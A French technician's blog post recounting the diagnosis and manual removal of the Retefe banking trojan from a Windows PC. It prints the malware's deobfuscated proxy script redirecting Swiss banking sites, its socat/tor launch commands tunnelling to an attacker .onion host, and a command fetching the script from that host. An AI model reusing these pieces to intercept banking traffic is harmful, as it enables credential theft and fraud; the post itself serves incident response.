FHIC logo

Introduction

Un client est venu me voir avec un ordi sous Windows, infecté par le virus Retefe, me demandant s'il existe un moyen de s'en débarrasser.

Diagnostique

Sur cette machine, en me connectant sur une banque, le cadenas vert s'affiche mais quel que soit la banque, l'émetteur du certificat est toujours le même: "COMODO CA Limited". A noter qu'il s'agit d'un FAUX!! Qui à été installé par Retefe!

J'ai donc commencé rapidement par supprimer ce certificat des certificats ajoutés à la machine (local root authority).

Nouveaux tests, cette fois, le cadenas n'est plus vert!

Je suis alors allé voir la configuration de proxy du navigateur et du système. Les préférence système affichent un script de configuration automatique du proxy:

http://127.0.0.1:53009/PZgjsz.js?ip=62.202.188.201
L'adresse IP est une adresse dynamique de swisscom, que le client utilisait vraisemblablement au moment de l'installation du virus.

Les anti-virus présents dans la machine (Windows Defender, F-Secure et McAffee) n'ont rien vu! Mise à jour de Windows à sa dernière version, rien de mieux... Un redémarrage sous linux et test avec Clamav n'a pas été plus efficace!

Au passage, sous linux, je comprend que le disque est protégé par par bitlocker... Redémarrage sous Windows pour trouver sa clef de récupération. Sous Linux, les outils de libbde-utils me permettent de monter le disque dur en lecture seule. Probablement du fait que je utilise la clef de récupération et non pas la clef de base...

Chasse au virus

Retour sous Windows, j'ai alors commencé par récupérer le script de configuration avec

wget "http://127.0.0.1:53009/PZgjsz.js?ip=62.202.188.201"

Il s'agit d'un javascript obfusqué par Dean Edwards Packer. En voici une version dé-obfusquée et indentée, dans laquelle j'ai trié la chaîne des cibles pour en faciliter sa lecture:

function FindProxyForURL(url, host) {
    var proxy = "PROXY 127.0.0.1:8008;PROXY 127.0.0.1:5588;";
    var hosts = new Array('*abs.ch', '*acrevis.ch', '*aekbank.ch', '*akb.ch', '*alpharheintalbank.ch', 
        '*apbank.ch', '*appkb.ch', '*arabbank.ch', '*bancasempione.ch', '*bankalpinum.com', '*bankbiz.ch', 
        '*bankbsu.ch', '*bankfrick.li', '*bankgantrisch.ch', '*bankleerau.ch', '*bankslm.ch', 
        '*bankthalwil.ch', '*bankzimmerberg.ch', '*banquecramer.ch', '*banqueduleman.ch', '*banquethaler.com', 
        '*bbobank.ch', '*bbva.ch', '*bcf.ch', '*bcge.ch', '*bcj.ch', '*bcn.ch', '*bcv.ch', '*bcvs.ch', 
        '*bekb.ch', '*bendura.li', '*bernerlandbank.ch', '*bil.com', '*bkb.ch', '*blkb.ch', '*bnpparibas.com', 
        '*bordier.com', '*bsibank.com', '*btv3banken.ch', '*ca-nextbank.ch', '*cash.ch', '*cbhbank.com', 
        '*ceanet.ch', '*cedc.ch', '*cen.ch', '*ce-riviera.ch', '*.cic.ch', 'cic.ch', '*cimbanque.net', 
        '*cler.ch', '*.clientis.ch', 'clientis.ch', '*cmvsa.ch', '*commerzbank.com', '*corneronline.ch', 
        '*coutts.com', '*credinvest.ch', '*credit-suisse.com', 'cs.directnet.com', '*dcbank.ch', 
        'direct.directnet.com', '*ebankingch.bcp.bank', '*eek.ch', '*efginternational.com', '*ekaffoltern.ch', 
        '*.eki.ch', '*ekr.ch', '*ersparniskasse.ch', '*falconpb.com', '*frankfurter-bankgesellschaft.com', 
        '*gemeinschaftsbank.ch', '*gkb.ch', '*glarner-regionalbank.ch', '*glkb.ch', '*globalance-bank.com', 
        '*gobanking.ch', '*helvetischebank.ch', '*hsbcprivatebank.com', '*hypobank.ch', '*inlinea.ch', 
        '*juliusbaer.com', '*leihkasse-stammheim.ch', '*lgt.com', '*lienhardt.ch', '*llb.li', '*lukb.ch', 
        'mabanque.bnpparibas', '*maerki-baumann.ch', '*mason-privatbank.li', '*mirabaud.com', '*mirabaud.lu', 
        '*mybancaria.ch', '*neuebankag.li', '*neuehelvetischebank.ch', '*nkb.ch', '*onba.ch', 
        'onlinebankingbusiness.nab.ch', 'onlinebanking.directnet.com', 'onlinebanking.nab.ch', '*owkb.ch', 
        '*pbgate.net', '*pbihag.ch', '*piguetgalland.ch', '*rahnbodmer.ch', '*raiffeisen.li', '*rbm.ch', 
        '*regiobank.ch', '*retefe*.ch', '*reyl.com', '*saanenbank.ch', '*sebgroup.com', '*shkb.ch', 
        '*sigmabank.com', '*slbucheggberg.ch', '*slfrutigen.ch', '*slguerbetal.ch', '*slr.ch', '*slwynigen.ch', 
        'smart-check.net', '*sparhafen.ch', '*sparkasse.ch', '*sparkasse-dielsdorf.ch', '*szkb.ch', '*tkb.ch', 
        '*trafina.ch', '*ubp.com', '*ubs.com', '*.ukb.ch', 'ukb.ch', '*unionbankag.com', '*.urkb.ch', 
        'urkb.ch', '*vermoegenszentrum.ch', '*volksbank.li', '*vontobel.com', '*vpbank.com', 
        '*zarattinibank.ch', '*zkb.ch', '*zuercherlandbank.ch', '*zugerkb.ch');
    for (var i = 0; i < hosts.length; i++) {
        if (shExpMatch(host, hosts[i])) {
            return proxy
        }
    }
    return "DIRECT"
}

Ctrl+Alt+Del pour lancer le gestionnaire d'application me permet de voir deux programmes suspect: socat et tor, un

netstat -a -b -n
pour voir que le port 53009, ainsi qu'un autre, le 5588, sont utilisés pas deux processus socat.

Export de la base de registre afin de la fouiller avec mes outils...

Retour sous Linux avec mon debian live, pour fouiller le disque dur et la base de registre à la recherche de ce qui peut lancer socat et tor.exe... Rien dans la base de registre, je ne trouve pas non plus de script .vbs qui pourrait le faire. Je trouve les exécutables tor et socat dans un dossier Notepad++?!:

Users/alice/AppData/Local/Notepad++/updater/socat.exe
Users/alice/AppData/Local/Notepad++/updater/Tor/tor.exe

Redémarrage sous Windows,
  - création d'un répertoire C:\canTrash
  - via le gestionnaire d'application, kill des taches socat et tor,
  - déplacement de C:\Users\alice\AppData\Local\Notepad++ vers C:\canTrash
  - Redémarrage de Windows.

Il se passe alors quelque chose d'intéressant: des erreurs m'indiquent:

vbscriptclose(CreateObject("WScript.Shell"}.Run{"tor.exe",0,False}}
vbscriptclose(CreateObject("WScript.Shell"}.Run("socat tcp4-LISTEN:53009,reuseaddr,fork,keepalive,bind=127.0.0.1
     SOCKS44:127.0.0.1:oxxavr4m4vpup4sa.onion:80,socksport=9050",0,False})
vbscriptclose(CreateObject("WScript.Shell").Run("socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1
    SOCKS44:127.0.0.1:oxxavr4m4vpup4sa.onion:3588,socksport=9050",0,False))
J'ai donc l'adresse tor du serveur de l'attaquant: oxxavr4m4vpup4sa.onion

Redémarrage sous Linux ( J'y suis plus à l'aise! ;)...
Pour le fun et pour confirmer l'adresse, voici un petit script qui permet d'afficher le javascript de configuration automatique du proxy: :

#!/bin/bash

wget -q -O - 'http://oxxavr4m4vpup4sa.onion/PZgjsz.js?ip=62.202.188.201' |
    sed 's/eval/print/' |
    smjs -
	
à lancer via un proxy tor ou avec la commande torify et de préférence dans un bac à sable (sandbox)!!

J'ai alors effectué une recherche sur l'ensemble du disque dur des petits fichier qui contiendraient cette adresse onion (en utf-16, utf-8 ou en ascii):

find . -type f -size -200 -exec grep -al 'oxxavr4m4vpup4sa\|o.x.x.a.v.r.4.m.4.v.p.u.p.4.s.a' {} +

Cette opération m'a permit de trouver:

-rwxr-xr-x 1 uuser ugroup   1391 mar 20 16:08 ./Users/alice/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/acrobat.lnk
-rwxr-xr-x 1 uuser ugroup   1393 mar 20 16:08 ./Users/alice/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/sync.lnk
J'en ai déduit que la date de l'installation du virus était le vendredi 20 mars 2020, à 16:08.

Une recherche de tous les fichier à plus ou moins 20 minutes à mis en évidence un troisième fichier dans ce même répertoire, ainsi que d'autres fichier XML dans /Windows/System32/Tasks_Migrated

-rwxr-xr-x 1 uuser ugroup      644 mar 20 16:05 ./Users/alice/AppData/Roaming/Notepad++/plugins/config/converter.ini
-rwxr-xr-x 1 uuser ugroup     3808 mar 20 16:08 ./Windows/System32/Tasks_Migrated/ugBqoLik5EtGr2
-rwxr-xr-x 1 uuser ugroup     4000 mar 20 16:08 ./Windows/System32/Tasks_Migrated/PDotQ
-rwxr-xr-x 1 uuser ugroup     4024 mar 20 16:08 ./Windows/System32/Tasks_Migrated/N1Quilrxo6C
-rwxr-xr-x 1 uuser ugroup     1393 mar 20 16:08 ./Users/alice/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/sync.lnk
-rwxr-xr-x 1 uuser ugroup     1171 mar 20 16:08 ./Users/alice/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/msword.lnk
-rwxr-xr-x 1 uuser ugroup     1391 mar 20 16:08 ./Users/alice/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/acrobat.lnk
-rwxr-xr-x 1 uuser ugroup  2303557 mar 20 16:08 ./Users/alice/AppData/Roaming/tor/unverified-microdesc-consensus
-rwxr-xr-x 1 uuser ugroup    10116 mar 20 16:09 ./Windows.old/Users/alice/AppData/Local/Microsoft/Windows/PowerShell/ModuleAnalysisCache

Les fichier présents dans System32/Task_Migrated sont des fichier XML qui utilisent un exécutable Microsoft: mshta.exe pour s'exécuter au démarrage.

Le dossier Windows.old à été créé par la mise à jour de Windows 10, le fichier qu'il contient, datant de la même période semble contenir des traces du script powershell qui à permit l'installation du certificat root falsifié.

J'ai donc déplacé tous ces fichier datant de ce même moment vers mon dossier C:\canTrash, vérifié la nature des autres fichiers présents dans

Users/alice/AppData/Roaming/Microsoft/Windows/Start Menu
Windows/System32/Tasks_Migrated
, puis redémarré Windows.

Le gestionnaire d'applications ainsi que la commande netstat -a -b -n m'ont assuré que la chose n'est plus active.

Conclusion

Ce truc s'est installé avec les droits utilisateur ne nécessitant pas de privilège et donc n'alertant pas l'utilisateur, lorsque celui-ci en fait l'installation. Seule l'installation d'un certificat root SSL a dû faire afficher une fenêtre de confirmation qui à pu être validée immédiatement par le script d'installation powershell.

Ce virus évolue à une vitesse impressionnante. Depuis sa révélation en 2013! En relisant la page de Melani.Admin.CH - Retefe, je réalise que la plupart des recommandations seront sans effet: Anti-virus, Firewall, Mise à jour, etc... La seule recommandation appropriée est: La plus grande prudence est recommandée face à des E-Mails de source inconnue: ne pas ouvrir l'E-Mail ou les pièces jointes, ne pas cliquer sur les liens contenus dans le message.

L'utilitaire mshta.exe permet l'exécution de code confiné dans des fichiers XML, encore une joyeuse invention de Microsoft!

Je n'ai rien trouvé dans la base de registre à propos de ce virus, que ce soit en cherchant l'adresse .onion ou les ports 5588 et 53009 ( resp: 0x15d4 et 0xcf11).

J'ai donc réussi à éliminer la chose sans avoir à re-formatter le disque dur! Veni vidi vici!

Je vais continuer d'encourager mes client à préférer d'utiliser un OS comme Debian GNU/Linux plutôt qu'un autre OS. Cependant, au vu de son fonctionnement, il ne me semble pas totalement impossible de voir un jour, un virus du même type tourner sous GNU/Linux! ( Nota: Je ne suis pas fan de sudo ;)

 

Commentaires à propos de Retefe 2020, par Félix Hauri.   - 24 juillet 2020